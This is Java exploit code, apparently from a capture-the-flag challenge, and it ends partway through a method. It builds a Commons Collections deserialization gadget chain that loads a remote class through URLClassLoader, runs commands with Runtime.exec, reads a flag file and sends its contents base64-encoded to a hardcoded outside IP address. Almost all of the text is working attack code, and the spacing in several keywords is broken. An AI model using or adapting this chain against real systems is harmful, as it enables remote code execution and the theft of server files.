public Serializable getObjectURLClassLoader(finalString command) throws Exception {
finalString[] execArgs = newString[] { command };
String url = "http://***:8999/"; String className = "ErrorBaseExec"; String cmd = command; String method = "do_exec"; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer( "getConstructor", new Class[] {Class[].class}, newObject[] {new Class[]{java.net.URL[].class}} ), new InvokerTransformer( "newInstance", new Class[] {Object[].class}, newObject[] { newObject[] { new java.net.URL[] { new java.net.URL(url) }}} ), new InvokerTransformer( "loadClass", new Class[] { String.class }, newObject[] { className } ), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, newObject[]{method, new Class[]{String.class}} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, newString[]{cmd}} ) }; /* URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new java.net.URL("url")) .loadClass("remote_class").getMethod("do_exec", String.class).invoke(null, "cmd"); */
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = newHashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
publicstaticvoiddo_exec(String args) throws Exception { //String res = exec(args); //String res = getDir("/flag"); String res = getFileContent("/flag/flag_7ArPnpf3XW8Npsmj");
URL url = new URL("http://39.106.143.48:9000/base64.php?q=" + Base64.getEncoder().encodeToString(res.getBytes())); //System.out.println(url); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("GET"); con.getResponseCode(); }
publicstaticStringexec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); Stringline; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); return result; }
publicstaticStringgetDir(String path){ String res = "";
File f = newFile(path); if (!f.exists()) { return path + " not exists"; }
File[] fa = f.listFiles(); for (int i = 0; i < fa.length; i++) { File fs = fa[i]; if (fs.isDirectory()) { res = res + fs.getName() + " [dir]" + "\n"; } else { res = res + fs.getName() + "\n"; } }